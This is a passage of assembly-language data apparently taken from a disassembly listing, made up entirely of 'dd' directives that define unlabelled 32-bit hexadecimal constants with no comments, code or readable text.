		dd 0C3404726h, 52C00027h, 5B6850h, 580CBD1Bh, 7DFD642Dh
		dd 0A214F55Fh, 7F1D0057h, 3CE947BFh, 9A229F22h,	1D73EA52h
		dd 84024DA6h, 4356713Bh, 82AC760h, 58BCE906h, 30090995h
		dd 0BD441325h, 88009C98h, 811F4D2Ch, 1D1780F7h,	0C1471BFCh
		dd 8B3061EFh, 0FDDFF126h, 0C21CECCFh, 1CAC0958h, 0ECC11797h
		dd 0D6B4E94Fh, 39C5FD50h, 0C803956Ah, 9F002D8Dh, 1B17D7C3h
		dd 0F0FB011Eh, 5F08A0EBh, 5423B55Dh, 310F5275h,	4B4F05C7h
		dd 0E84AFA62h, 5CDBEA48h, 4E89B1CFh, 0C11E16F8h, 0B91203EFh
		dd 505ACEC2h, 0BC44F32Fh, 0B55BCCCh, 65773868h,	19F5C340h
		dd 6BB2471Dh, 5F91E581h, 18870673h, 64531005h, 0E105C589h
		dd 0FA642EB7h, 484C54EDh, 0D803C8B4h, 7132735Bh, 67355953h
		dd 73496BEAh, 4AB33CA5h, 919DE2B2h, 59E98202h, 96F4664Ch
		dd 4A45C933h, 932A5615h, 69E9D2A0h, 0F3E9A7B1h,	0AA89E689h
		dd 4A7C3732h, 1E780B02h, 0F8505A27h, 970CA46Ch,	5F4B9B14h
		dd 2CC90FB2h, 2A73F1E1h, 0DE0F612h, 9FCBF25Bh, 46CD4F0Fh
		dd 83224387h, 0F8B5CDDCh, 3AB70BD9h, 2268601Dh,	585580CBh
		dd 83055D03h, 0EA417002h, 17DE560Fh, 6F75055Eh,	629D362Ah
		dd 66EC752Dh, 641BF2C4h, 0ECC12558h, 901FD3B7h,	318321D8h
		dd 874D39EAh, 115A3ADCh, 0F990EF40h, 233BA16h, 3DE90A83h
		dd 0AC077FF4h, 4420212Ch, 0B01B252h, 0F280DAF6h, 0F46DAC82h
		dd 0DB48AEDEh, 9AC1E950h, 22BD1F4Bh, 6C94B257h,	466B2D5Ah
		dd 322921B9h, 0E8601EAAh, 0A219164Dh, 7781D33h,	0B4D9FA21h
		dd 5899D1E7h, 59CB2A05h, 0E9E80103h, 937CC307h,	7950689Eh
		dd 0AEB0BD1Eh, 69611A5h, 3B5C054Fh, 0FC7DDDCBh,	476EC051h
		dd 0B92FB144h, 290B4B62h, 4CBB41E9h, 0BD39356Eh, 0C117DEDFh
		dd 0F060D9CBh, 50AA0F94h, 0C1F60597h, 25D0809h,	885B103Dh
		dd 0C71F9B70h, 0BAE33BF0h, 32D42822h, 0B5BE76DDh, 2F01E882h
		dd 0E534185Fh, 0E28AA8D5h, 0A8BE0056h, 8140A749h, 720462CEh
		dd 4FE97FDFh, 50F91F0h,	8D68C8B7h, 0E98D304Eh, 20CBAFD3h
		dd 10DEF85Eh, 602DA684h, 5755877Eh, 0E2810368h,	7C851682h
		dd 0C8B2CE25h, 7D17DC07h, 0F131143Ch, 0AD00EE5Eh, 2941A112h
		dd 12859CBh, 0AE0B8DC3h, 72728727h, 28C5012Dh, 0D1569331h
		dd 0D690E3EDh, 38125AB3h
		dd 0D18520E9h, 0E811C804h, 49FB530Ah, 70CBA754h, 16682D95h
		dd 41E93E81h, 650AAD4Ah, 64422817h, 0A65B4EDCh,	0E90644E8h
		dd 0B63A6520h, 23661801h, 7912D2EAh, 0BE0BF79Eh, 95D566CEh
		dd 566F3F14h, 5337E93Eh, 0A1B61230h, 0EAA0001h,	467E1353h
		dd 7C56E8A9h, 0DA29096Eh, 3113605Bh, 523DD6C8h,	8065A2F2h
		dd 600F1CBFh, 0B980C103h, 6044A818h, 3F04DA9Bh,	0B8505B42h
		dd 86108FA2h, 100052BAh, 109B9DAh, 2E105DEFh, 23B559ADh
		dd 171A975Ah, 0A20FDF3Dh, 15D15B85h, 81004143h,	0EF0612F3h
		dd 0D801EE8Fh, 58E1415Ch, 732568EEh, 606B9252h,	200D6388h
		dd 0C5012035h, 0DFCAF29Fh, 0E0E6EB89h, 0C00D2C1Dh, 5775C663h
		dd 7390307Ah, 936D4405h, 20C04E22h, 0C090CAEh, 4948E914h
		dd 8623C6Dh, 5DF19FBDh,	7824A20h, 0F4D2727Ch, 4262C2F1h
		dd 23CC884Ah, 0AC29F14Bh, 6E4082Ch, 0A51E46F6h,	0EC02C22Fh
		dd 0F9F62577h, 68A070EBh, 3DBE0AB8h, 4005E989h,	72C52896h
		dd 8A144A80h, 0DDE90BAEh, 0BD0E7B67h, 0EC44AA92h, 5455A2ABh
		dd 8868E2F1h, 14BD2E70h, 198DBA73h, 59502F68h, 5D252BFh
		dd 46522F5Dh, 77EF71B7h, 0E7126053h, 0ED5AC62Dh, 52054E02h
		dd 0E311191Dh, 71FE556h, 0E9141128h, 8193340Bh,	4FCD20BCh
		dd 91A27F60h, 4BC60EB4h, 0CB5CECC7h, 0CED43B32h, 7FDD6861h
		dd 0B1E6AB8Bh, 8507ADF1h, 68B29CC8h, 45A01ADh, 2B95C91Ch
		dd 5449D6C7h, 76783D86h, 0F63198F8h, 0B11ABF16h, 73132FD9h
		dd 0F8024F0h, 0E388DEECh, 0A0293249h, 0A75AA6E9h, 0B0D34CCh
		dd 0DD6AADBDh, 3849F0A0h, 53000F73h, 446DEBBBh,	657FE978h
		dd 0B2503245h, 96B572E9h, 0C66814A4h, 0ADEE440h, 403756D0h
		dd 476502A6h, 0FF09BA98h, 1FCD39h, 8C518E05h, 3EB9827h
		dd 0A1D6DC3h, 0C07FD521h, 9A328B00h, 0E0E95517h, 0C41C9F3Ah
		dd 6DB391A0h, 0F7F84372h, 10DB762h, 0F10BC1FDh,	0D7DE3669h
		dd 5F79A045h, 5EF5091Ah, 0B6FA60FAh, 1A29011h, 60551FEEh
		dd 0CE5BDD31h, 30E74363h, 91AAD8D7h, 8E5C8964h,	0E1451092h
		dd 0FECC802Bh, 0E1C1013Fh, 0E9D1F703h, 770B7B5Ah, 6BFD0BB3h
		dd 0FC40E20Ah, 0BBC8AFAAh, 9ABFAC5Ah, 687940C6h, 3A34042Ch
		dd 0AB315F06h, 45567449h, 2D46BB83h, 1AE145Ch, 46284B68h
		dd 55B0E97Eh, 518FDD8Bh, 5B7A8FEh, 745D1282h, 0C6C56FF9h
		dd 92C45F3Dh, 410F8731h, 44215EF3h, 1CD0196h, 60F5AFE0h
		dd 3B719250h, 21ED407Ah, 0C508044Ah, 0B1F5B884h, 3BD0E9h
		dd 2CFDBA17h, 88F46A0Fh, 8E89B65Ah, 133B4C61h, 6D2300C7h
		dd 31EB452Dh, 37FC58F6h, 0F70EB896h, 5D2EE4DEh,	0F0321BADh
		dd 5578D9D2h, 38BDBB0Fh, 8580B828h, 0A16027F5h,	6DE9A982h
		dd 75AA005Eh, 446F6816h, 0B00CE5D9h, 98E913D9h,	0D75E4927h
		dd 8305F945h, 0EABD02EFh, 0C4FFE917h, 1BE75EE5h, 3B485F92h
		dd 33CC10DEh, 0F8B95D09h, 9BF637D0h, 23D00E5Ah,	496E2BDBh
		dd 580CC54h, 0AB91D425h, 0CFEDE93Bh, 9D5CE388h,	4CE90030h
		dd 5D0963BAh, 101C7709h, 0A1134F4Fh, 5509045Ah,	68BF29E6h
		dd 0E38CB4E2h, 0FF1A95F5h, 92CA1A85h, 0A180407Eh, 0DEDBE744h
		dd 0BBD83128h, 791A7C27h, 0AC123CA2h, 0EF9EE446h, 1A3E61B1h
		dd 797E391Ah, 47E9E12Fh, 710729C7h, 717BFEB8h, 4E591E49h
		dd 0D65C54C2h, 67585A1Ah, 211BE912h, 0E9E064E9h, 50DDB580h
		dd 0C4D1EB0Ah, 0BF3712CCh, 735D470Eh, 165C4A06h, 0E9C0050Fh
		dd 0D9DDEFA9h, 0F24DE2EBh, 0F640032h, 4B2D7D62h, 6B4EFCEEh
		dd 8E29DF0Bh, 0C36942h,	0CC471C5Dh, 3E0CC113h, 6033D225h
		dd 0C0833585h, 1C694CE3h, 80D0F736h, 0DFBE56D8h, 0C4CDC5Bh
		dd 262071Dh, 0D6E11098h, 99404E46h, 0F6F52D2Ch,	0CFF620E9h
		dd 87BFE095h, 0A3BA9F1Ch, 0CBA3C945h, 0C418E906h, 53593242h
		dd 0DB640350h, 6716760Ch, 9F701819h, 81ED6F25h,	3C78DF05h
		dd 7A5A6932h, 0E929A057h, 0E6209D1Ch, 44792FE5h, 0CFA2A76h
		dd 74C56B33h, 6238E6Ch,	86370EEBh, 7D000C3Eh, 121F829h
		dd 45751C3h, 4C3D0868h,	0ECC9E135h, 5427BF33h, 0EFEB804Fh
		dd 18CA8ACCh, 24F98931h, 5C5C3EF1h, 0E9410C3Eh,	0B5018B52h
		dd 0D059D40Bh, 0ACA98E6Ch, 54FAF3F4h, 24102DDDh, 0BD80B029h
		dd 7E0F00ECh, 80CD8158h, 6628EB65h, 0E5E6A9C1h,	0D880250h
		dd 372C7D79h, 402D4D29h, 2405C703h, 1623AD59h, 0A8D8C5EEh
		dd 72C50397h, 50E50A51h, 8222AC31h, 72D0681h, 0C08470D3h
		dd 0F05C6940h, 825B63Ch, 6E2BB51Ch, 3294A2Ch, 81EC7AA5h
		dd 9722C8BDh, 5499CC4Eh, 15B80390h, 50466806h, 25884FA2h
		dd 0DB640A74h, 0EE84CBFDh, 6AB1C82Ch, 390AB11Ah, 0A124F23Dh
		dd 99509DD0h, 5187F1D5h, 0AA99B0h, 52DD001h, 464F2235h
		dd 9EAFD05h, 6220E95Ah,	0CED1FC32h, 580016C8h, 73F63540h
		dd 0F931FE2Dh, 4078DE48h, 0E82D29D8h, 5D9A6905h, 6093888Ah
		dd 0B5A9360h, 4A6255E4h, 0DAC29B5Dh, 3D1BF6DBh,	35B1688Bh
		dd 0B9B39F98h, 287AB607h, 4AFF5BDEh, 888E0F78h,	82F849F7h
		dd 7C59DE97h, 62DB6B3Ch, 654451A5h, 0AAEBF00Ch,	5B52B3B2h
		dd 0FBBF139Ah, 0C2BF6625h, 3675334Fh, 0E6CC9DD4h, 61F41454h
		dd 90FE474Ch, 317B02ADh, 0F45E70CBh, 0E9F7583Bh, 0C98A6836h
		dd 0E7829747h, 0F409E222h, 0B2775298h, 5222742Fh, 5A4A6ACEh
		dd 0A6E95830h, 0EBFBA8A7h, 68601EC5h, 136AC91Ah, 0A68964F9h
		dd 2D932B3h, 74293FD3h,	605A79D5h, 1704A567h, 0DBF71860h
		dd 1CC890E8h, 413C940Ch, 0ED05BDFAh, 3A8B009Dh,	11FDCB81h
		dd 1E77383Ch, 7B849ABDh, 0F4C2211Fh, 0E1D3404Bh, 68F4040Fh
		dd 20A3E9h, 23B5F281h, 53B761Bh, 0DD1DFAE2h, 0C27EF942h
		dd 0E0C81CA1h, 30E9FAC1h, 28DAB445h, 581C66C2h,	0D00EFC2Ch
		dd 0D15A8904h, 3DE985D0h, 0DC0FB505h, 0E49AD20Dh, 1096C896h
		dd 97B98084h, 0FB444B4Bh, 8E0B9250h, 6828310Ch,	2646CB94h
		dd 12894A96h, 0DEB84555h, 76D9E4A6h, 285DF512h,	8939AD1Dh
		dd 62FDE9C5h, 32B07325h, 0A05F9A90h, 0CD68E02Ch, 12CDB37Bh
		dd 0C11844Ah, 1CD6F56h,	5E95EB58h, 5D5D6E92h, 0D338504h
		dd 0CCDA0631h, 0E9894073h, 5EAB9DE9h, 0B8A7F389h, 9E480AE9h
		dd 616A82CAh, 72C00E7Ah, 0BA24294Eh, 6203A337h,	0CCC9A64Dh
		dd 60E90181h, 0E7895389h, 16BDB334h, 36EC9ECh, 4862CAF4h
		dd 3BBE0020h, 5904304Ch, 5605E6C1h, 5E3CD0ACh, 103EE16h
		dd 0B0E310EEh, 8E0C81D1h, 29625016h, 261C43Ah, 0F0315A08h
		dd 6812DEECh, 3FE677D1h, 63CE908h, 0F1885107h, 5A59CB20h
		dd 32DB4CF6h, 8099E424h, 5166BDB3h, 302CF2B1h, 1DAC12CBh
		dd 4DFEE970h, 510097AEh, 0C237CEB9h, 0D965F70Ch, 51ECD104h
		dd 611BE700h, 59CA8906h, 3280173h, 0C5ACC02h, 0C02B35D0h
		dd 0C1D8F7E1h, 0C8283D10h, 85B34E2Ch, 8D4FEB68h, 0EED5003Dh
		dd 517EA57Ah, 5A851300h, 2C2D58AEh, 326E0448h, 0FF2337E9h
		dd 0D159F433h, 0C12D3CA7h, 3A8FF54Ah, 0DE64E181h, 78B0F804h
		dd 4EF91959h, 0C1458317h, 0EDA90851h, 0E7CE11D2h, 0F096542Dh
		dd 0C0F940A0h, 45E13295h, 0E8830CFEh, 80E5B262h, 52505A2Ah
		dd 0E653DA88h, 7BD8EAD3h, 2DC6F25Bh, 0FC8BA2E9h, 0A9C3B700h
		dd 2161D90Bh, 658C030Ch, 0ED69133Ah, 7033E285h,	312B2F1Fh
		dd 3657C30h, 90D11EBFh,	58ECBAADh, 0C248D85Ah, 82A5F348h
		dd 9A70066Ah, 4600B87Fh
		dd 5B0D2370h, 902E2B60h, 0B74201EEh, 10A02D1Ah,	5FE9F06Bh
		dd 0D7CD274Ah, 0F6006C25h, 131B0F30h, 0C0B8E97Ah, 9668ACCAh
		dd 0EE8C185Ah, 0F3F84E21h, 8ECF62EAh, 6F356C4Eh, 0AAA599ECh
		dd 2574543Fh, 5F18EF04h, 8278944Fh, 0AE70DB5Bh,	3ED2F63Ch
		dd 0C2FC7AB5h, 0BB6111BDh, 4484742Ch, 0C170ABA6h, 9C071D68h
		dd 84FD4845h, 1530E9h, 0AAA90EB9h, 903E924Eh, 1BDD3A2Dh
		dd 0A601191Dh, 4CFE02B5h, 0BE404504h, 7C2DCEDFh, 0B1E8EED4h
		dd 0E1D044C2h, 71128ACh, 4D534FA4h, 27D775C2h, 138D72EFh
		dd 9D4D66h, 0A91E5B12h,	0F1892431h, 0D40E2FD2h,	91A3E0A4h
		dd 7DF4B2F6h, 9D9739F6h, 0E28C0DC2h, 16F30C33h,	325AD420h
		dd 0CE6128AAh, 5782CE8Ah, 0A17841E9h, 672D7CB6h, 38E989DAh
		dd 6996EF78h, 732F6881h, 2A60561Fh, 0C9279DA5h,	880EC803h
		dd 0E4EE4FFDh, 2FB9A6A8h, 8C801CBh, 6FC90C0Dh, 0FE0007Fh
		dd 0B45A3784h, 0BA5270C1h, 0B633F009h, 5EBDF02Ah, 58C30926h
		dd 0AE027D84h, 0DB80A34h, 0EA4FC9A4h, 3999020Bh, 6287F4A3h
		dd 66031D51h, 1F91F952h, 0A469412Ah, 0EF62F72Eh, 681235D6h
		dd 0A4A4713Bh, 60E79C30h, 665707E6h, 0ADE1FCA9h, 0E099C00Fh
		dd 0D72DC11Ah, 0EDEF875Ah, 7008ACD5h, 8E118C01h, 833A0948h
		dd 0E3509E5Ah, 0C3BC79E7h, 221FC62Dh, 0E910FD08h, 0B3125367h
		dd 0E9400FEh, 0F6B4E580h, 0D84ED57Fh, 0C94FE414h, 5BCFA09Bh
		dd 9685550h, 3FA069C6h,	963E20C0h, 89C05F12h, 29B2D8F8h
		dd 607812D5h, 9D502FAFh, 1A5FC6BAh, 0AEB4FEDAh,	2BF15A05h
		dd 0C070CABAh, 5E7F181h, 680D797Ah, 847CED01h, 32EE1F58h
		dd 7A54D568h, 0FECDFE0Dh, 42C5068Fh, 40AB85A5h,	32C0C69Fh
		dd 5A7C279Fh, 1097D25Dh, 0F579335Dh, 0C1F9006Fh, 0EB8106E3h
		dd 3EBA850Eh, 5BD92429h, 0F8E77582h, 0A7D0BB96h, 0FD83FAA5h
		dd 4EF102B4h, 0C36E854Ah, 151004C7h, 0F9E4EA2Ch, 5DEE13F7h
		dd 9953FCDCh, 0EC7A06Ah, 15B2046h, 0ED0ADD2Fh, 0F44E3D08h
		dd 53948FFBh, 0B3535002h, 0DB29E3AEh, 0B8453FBFh, 0C1010362h
		dd 490096D4h, 464F6E45h, 0D81433E9h, 68F8C21Fh,	10967C6Ah
		dd 6123DE52h, 81550BE9h, 640DC7A1h, 0C8A1079h, 24942276h
		dd 0A2723F6Fh, 40E08008h, 0F84A2C3Ah, 59A801F2h, 6CE90F31h
		dd 0C3252E58h, 3FC07B08h, 95F4EBD4h, 82BAD400h,	2160170Ah
		dd 85442540h, 65E9103Ah, 30BE014Dh, 1128973h, 6B8B3Fh
		dd 2E27642Dh, 0BCCAE96Ch, 515C0434h, 9F01B954h,	0E2220C8h
		dd 76C797B8h, 0A2ADA36Bh, 0DE87861Dh, 0A9B540DAh, 56703A69h
		dd 0B3E90BA2h, 0E380EC22h, 57EBABE0h, 24490CCFh, 34C42AF3h
		dd 0EB271C1h, 619933Fh,	0BC49F4C7h, 0D076CBD0h,	426EB37Ch
		dd 0AC05A578h, 0B5A1A0A8h, 0B2688164h, 0ED1EE998h, 574F322Fh
		dd 6208F3F3h, 0B1C11DB6h, 722A4610h, 35124B4Dh,	281F9308h
		dd 6CB00952h, 0B9600797h, 0FD047DB5h, 5EF30946h, 304A082h
		dd 5299F231h, 78050001h, 0B01D736Ch, 72D50B7h, 1293FA59h
		dd 4B656144h, 4D345FF0h, 84318890h, 8E8ADC0h, 4CD4C33Ah
		dd 29461EC8h, 449558F6h, 6C4595D9h, 0E1085B24h,	0E35A254Ch
		dd 616B90B5h, 5B4B2F4h,	0B014ED68h, 7BF9FC02h, 0B3575424h
		dd 41B80739h, 4801D86Dh, 0D36504E9h, 0F7C16827h, 0DA6D68F9h
		dd 0C392E073h, 27AD8FB0h, 0BDE61668h, 0A37591A2h, 0C1028FEFh
		dd 10809FDCh, 0CD6498B9h, 4148490Ch, 0BBEA7C62h, 0E6E96108h
		dd 0D160270Eh, 7782C47Dh, 0B255693Ah, 0AD38E575h, 0C37EDC9Ah
		dd 0F04F7B11h, 304D6646h, 3D4B9E86h, 0E2FFD963h, 9F0806F3h
		dd 3472DA00h, 0F6E0C115h, 37AF002Dh, 0C72936C6h, 76427E9h
		dd 5BABEA47h, 1A1D0C7Ch, 5915680Ch, 18B35B83h, 0DD660C6Bh
		dd 8AB2515Ah, 0D90359C9h, 15E82A94h, 7C2A684Dh,	0BB055466h
		dd 533677B3h, 6FE1ABEh,	0A561BC02h, 653E6801h, 0EA3C6C7Fh
		dd 9DA6BA8Eh, 0ECC68618h, 0DE24705h, 16C4D601h,	905A080Ah
		dd 10476B2Eh, 2D6A28B8h, 1FE6CFC4h, 0BA12764Ah,	8D250DCAh
		dd 0CE018B83h, 10536E07h, 2CD421D5h, 0DD5F67A8h, 0B952A970h
		dd 2685041h, 6A2FBC67h,	5F1DC2h, 1C581607h, 60B8F866h
		dd 2EC2DD27h, 55126415h, 9D01D2F7h, 3E5E74B7h, 22DD1C82h
		dd 5D1C7Ah, 48BF572Ch, 99404CB8h, 0FBF5044Bh, 0DDF706B7h
		dd 0AFBE0B20h, 1B74B05Dh, 6F072C26h, 0ACACAB04h, 0D3741287h
		dd 0E9F80E69h, 0CFBD31EAh, 55F0892Bh, 95B1537Fh, 405A562Ch
		dd 885098C6h, 839007E0h, 25F2609h, 2D298089h, 4C3B2912h
		dd 0A07F5E7Ch, 9208E907h, 0CB01046Ch, 0E8697D68h, 4D46C4CFh
		dd 88D836ACh, 49B9B198h, 0D1564400h, 12FE017Dh,	0EC784A68h
		dd 0B08AC4F6h, 8F660016h, 5259E830h, 8E07B63Ch,	6FC026EEh
		dd 65C6E106h, 23BF7E9h,	875C8815h, 721012E2h, 9D62BEE9h
		dd 0A45F5620h, 60AB5E82h, 2EE9FA00h, 0C9072095h, 76E029F2h
		dd 8841F971h, 0CBE52D8Fh, 0FDD342h, 5A685351h, 230DBBFEh
		dd 0D5EB95Bh, 1C84C03Ah, 0A0B824AFh, 3B0844D0h,	4594135Bh
		dd 0D01F3320h, 1781FE0h, 445AA5DAh, 0BA9DD225h,	0A5060E9h
		dd 895FB355h, 61D205F8h, 7B367F05h, 46D1313Bh, 8A3B59CBh
		dd 0B40E508Ah, 0B84DD141h, 74A2C900h, 293D25B2h, 881A370h
		dd 3CE24958h, 0A3158D74h, 4EDCD7E1h, 72109FD3h,	4B00F3B8h
		dd 0EC0D2C93h, 39256632h, 0C996CA2Dh, 0FB29F07Ah, 1438260Fh
		dd 0CB58081h, 7AE940DEh, 5D8EDE34h, 0B554F919h,	41EB9501h
		dd 50FCC7D1h, 0B22FB035h, 0E228DE2Eh, 0C0D2F602h, 0EA0C40E2h
		dd 76B4E250h, 0E0EC1FBCh, 0FE581F30h, 90F21E63h, 0CEB61F85h
		dd 0ED14D0C3h, 0A0594B24h, 54B1EEA0h, 0F3C2A4h,	44823569h
		dd 0EBC1D3F7h, 9A01F2B2h, 0E92CDC08h, 2C8EFA60h, 37E9D1B6h
		dd 500C8BD0h, 5C895859h, 0CE43419Fh, 0F60D47C0h, 31322317h
		dd 14C601B0h, 0FEBF6B05h, 0F7DDA819h, 0B8043EEAh, 2123167h
		dd 0EC3C400Ah, 5178EFCh, 6D5D4A1h, 0C746402Ah, 320B3ED8h
		dd 0C266A4BFh, 38BA78C5h, 0C9B7D29Bh, 32CF2D7Ch, 3772F877h
		dd 3CA9BB00h, 0A4B594Ah, 0DFDBF714h, 0D387AD5Ch, 0F132A4E9h
		dd 0FB292ECDh, 903B1DFDh, 6C5CEEF1h, 237A653Fh,	5DD1A71Ch
		dd 0EAC5890Eh, 0BA81FE01h, 1D52049Dh, 45FA230h,	5641832Ah
		dd 2F849C53h, 5C93C36Bh, 0D89F0930h, 179E97E4h,	9168E56Fh
		dd 692A3AB1h, 4AC629EDh, 5BC9C0F2h, 74120EE2h, 0D5887B48h
		dd 49357498h, 1BA8FD0h,	0B46DE625h, 5CE46047h, 69F6294h
		dd 0BD61DB6Dh, 0BBA1E59Bh, 684C2ACh, 44B41D6h, 46F93B83h
		dd 3CFD1232h, 88138370h, 310B5AF1h, 56B6ABB4h, 68C37033h
		dd 0B8698E26h, 7C4E66Bh, 0CA88C2B1h, 8B63DDE9h,	72D3FE52h
		dd 90057E16h, 0CF94BDE9h, 6DD9809Dh, 92CA167h, 5E989705h
		dd 0EA301205h, 58EF3D40h, 0F67F654Eh, 352B5A1Fh, 0B46EB8BEh
		dd 0DB105EE2h, 8EBA039Ah, 0D1DE88D4h, 0F272B6DAh, 50EBF796h
		dd 0EB583A08h, 4759C981h, 0F6E98BB3h, 302755F8h, 917648CEh
		dd 415E80D4h, 1D9F72Dh,	46C85D8Fh, 0BD0348FCh, 0B6206347h
		dd 0B1505094h, 60524934h, 2FD94C4h, 0D52D7A68h,	365491B2h
		dd 0C8016607h, 7594B284h, 761010B9h, 0B35300DAh, 2C4704C1h
		dd 0D8283B8Dh, 68660E74h, 51985B14h, 3EFD47B6h,	8B653385h
		dd 913DC92Dh, 223C2E4h,	49B202D1h, 59026A5Fh, 0FA898BEDh
		dd 9F201552h, 3B93A036h
		dd 0CBA0BF02h, 0F707E42Dh, 58B68BFEh, 8EA1F265h, 88D8E273h
		dd 6C9D0B63h, 349622F7h, 9FB2E895h, 0BD25C340h,	83A01598h
		dd 81F0FFC5h, 0EE03ED14h, 0E9EB04B0h, 169D95h, 6B8892E0h
		dd 0D65A0921h, 0C6C046A2h, 17329DBCh, 0E0F7312Fh, 0B5B24C13h
		dd 80C369C8h, 0E7C5B75h, 2A14020h, 14DF6850h, 0AFE00206h
		dd 0F82EF1EDh, 0D524B787h, 43230959h, 6E0B8E25h, 2AF6A892h
		dd 79DE6804h, 8A6A308Dh, 6E955F36h, 6FE9F631h, 0C1280538h
		dd 0DAF2F180h, 5C819079h, 24284F01h, 3DEB7075h,	82DEC84Eh
		dd 881C340h, 7EB729E9h,	405EA69Ch, 0D849013Dh, 46E9A431h
		dd 0C7E5022Fh, 10216609h, 8298DFFCh, 82E5A763h,	0FB48A589h
		dd 6827E189h, 20DB7A45h, 52763028h, 0E75AAC20h,	39D6CD2Bh
		dd 9EF8B5Bh, 6BA354B1h,	0CFFA4BF8h, 1612CCBDh, 35137968h
		dd 98D9091Ah, 0F962779h, 5B582EC0h, 90C34821h, 0F2694130h
		dd 3505EA81h, 5E1C4978h, 11903FB0h, 45FA75Bh, 0A058A474h
		dd 0B0E9451Eh, 0E684B4F6h, 0FF3A55Eh, 1CB38C9Fh, 0A1965FE9h
		dd 10B4F3C2h, 7E82E4C8h, 0BDA71626h, 0CAF3538Dh, 2C427E02h
		dd 0A7286BCBh, 2AC1FE24h, 510870C6h, 0E974B50Bh, 0E68F42ECh
		dd 5F8F84BEh, 4C4EE2B1h, 0CF298600h, 8AFC5BA6h,	8247C49h
		dd 5A6B134Ch, 525E2FF1h, 452781D9h, 4471B7BAh, 10C4ADBDh
		dd 0E05AF406h, 39409049h, 2E9317BBh, 0C92F1E62h, 76F9EBD8h
		dd 792762A1h, 0A021127Fh, 0FB985604h, 0B5B2304Ah, 0DC42128Bh
		dd 0F7811CD1h, 5EAC1DAh, 0F279017Bh, 705DC716h,	5A5ED51Bh
		dd 0EFE41487h, 7EBBE03h, 0D6F73CD0h, 87064E62h,	5504F7DEh
		dd 2158EB37h, 0DA5A5360h, 0BAF86F44h, 4118E927h, 8204574h
		dd 3A301F42h, 0A2BB084Ah, 0F0B17827h, 26E0545Ch, 408D0FBAh
		dd 0F5AB1744h, 9C043BA2h, 0D0348F84h, 0F8315EDBh, 9B40F990h
		dd 333AE768h, 0CC9CBB4Bh, 6C10EC19h, 680B3350h,	0FE713216h
		dd 0A112B98Eh, 1EF8363h, 2CF0C70h, 0E949E062h, 5AF6C57Ah
		dd 24EB2144h, 0C28E9C97h, 5336E92Eh, 18212093h,	830496C7h
		dd 8CE5228Dh, 0B0B554A7h, 4A7B687Ah, 0D8F8A256h, 91FA026h
		dd 0FA0165EEh, 1308E008h, 0E9B9C05Fh, 21BD45C6h, 720B8238h
		dd 472A00E3h, 1D7F2F4h,	590F5AD6h, 0AF07EEC1h, 0A33A3F6h
		dd 0C390B71Dh, 0C069BA51h, 68744A18h, 0F05B31ECh, 983E52CDh
		dd 60BFDAEEh, 91CA1FD2h, 0EF6D08EDh, 9AF58101h,	54E6A7FDh
		dd 599C08B3h, 70BC824h,	3009F2F9h, 0EAE51F94h, 3E50801Ch
		dd 555A4EAh, 0D06FA78Ah, 0BD2C408Ch, 0B32E880Bh, 1680F44Eh
		dd 3675044Dh, 0F432EADAh, 484FD8C2h, 2C07F66h, 8016B652h
		dd 2CD3EE0Eh, 76F4E4Eh,	534604F0h, 0B20A401Eh, 0CDEBE932h
		dd 31CD6189h, 1685FC2Ch, 1029AD4Dh, 0A34BEA75h,	618D5E5Eh
		dd 0F38DA851h, 5BFD8800h, 0AD293DEh, 91E9E156h,	53C0E33Ch
		dd 21D5B95h, 4BE02B21h,	17A0ED80h, 0E91613C4h, 30213584h
		dd 327EAD38h, 95F39ACh,	0F08ADCC3h, 42B8555Ch, 3E2FBB2Eh
		dd 530ECD06h, 0ECF51F0Ah, 8F8CAF7Ch, 6B3FC612h,	9C2D0C3Ah
		dd 0BDF01A0Ah, 0F10F5362h, 0DE94281h, 0D66F78B7h, 16262F04h
		dd 395344AEh, 7CDE3ACh,	165A2AF2h, 195164D3h, 10505B27h
		dd 47839E0h, 31B3151Dh,	0A5B01BFh, 0F7E947B9h, 0C155CB2Dh
		dd 8150346Dh, 2765802Dh, 77C21BF3h, 875D0702h, 0B87540ECh
		dd 44CF0804h, 4EB2C301h, 3B028FC9h, 0F7D194E7h,	95527027h
		dd 0E95AA5C8h, 0CEDF4F27h, 0A2515ACAh, 216A8B91h, 58F5809Bh
		dd 890B40C2h, 8ECC97D4h, 4A6615B0h, 957BAA0Bh, 591C0151h
		dd 9A14D388h, 1A5D219Ah, 25FF9DDh, 366678AAh, 3FCF8E7Dh
		dd 292A3EC4h, 0FB5D64AFh, 7221C30Bh, 0D7E92FD5h, 9FBB7D00h
		dd 324EBA36h, 1F0286D0h, 294C1270h, 0D01AA85Ch,	1A6C530Ch
		dd 0C0D127D0h, 8055C93Dh, 305A7289h, 6661792Ch,	0D3312A9Dh
		dd 5901592Dh, 0AA54C2DAh, 18E46D3h, 0E4324FCAh,	50111E2h
		dd 0F7853F8Eh, 0DD46F40h, 455DF069h, 0E953048Dh, 7AFE823h
		dd 0E7C1DFF7h, 0E6C580EBh, 0F36ACE4Eh, 8E3003D5h, 0F7761D57h
		dd 6C06BF3Eh, 1E4E727Fh, 0CE04057Fh, 0A1D388Ch,	9C88A9C1h
		dd 92E87C5h, 3DE2B33Ch,	68C16453h, 1E760FB4h, 0A32CF413h
		dd 0A556244Eh, 0CC004B3Dh, 2EC99435h, 40AB981Bh, 0CE7C68C0h
		dd 0E9D0C194h, 2627B499h, 0F6B83005h, 4B18256Ah, 0F5F6525Ah
		dd 2516E647h, 0E345F289h, 0D4E2023Bh, 0C0153B53h, 0B2DDE4Dh
		dd 0F2870754h, 0F6E91081h, 2561BBAFh, 3925E502h, 3BD9DDA7h
		dd 0DBA58B1Eh, 0EAE9411Dh, 0C5CD6E29h, 4E95A92Dh, 685B5803h
		dd 351247CCh, 9E23FBD9h, 9304C140h, 4FDD0EACh, 8C9695EAh
		dd 31352778h, 12DA840h,	12DF5B15h, 3AC2295Fh, 0F4992B64h
		dd 7968E434h, 0ACDCB1FBh, 84B317C8h, 392DEE19h,	0C10105E8h
		dd 0E95D9209h, 0CE8FAF0Fh, 0D2681753h, 14BB373h, 17CC3097h
		dd 3930DDF7h, 6DA105B0h, 82EB2977h, 7B2BB859h, 3BC424B7h
		dd 1580D63h, 0E9A3B4EDh, 33AA6E26h, 917AD351h, 792686Bh
		dd 0CA12D1ABh, 65091B26h, 42B69B1h, 0FEC00FAh, 0E1C15286h
		dd 206C084Ch, 1B17441h,	3059CE88h, 0DD5A66F3h, 30F625DCh
		dd 0B341DE65h, 7DA52AD5h, 970739A3h, 735D102Ch,	920AF42h
		dd 0F4082F1h, 7B68C8BFh, 6E50964Dh, 2275551Ah, 955CF0Bh
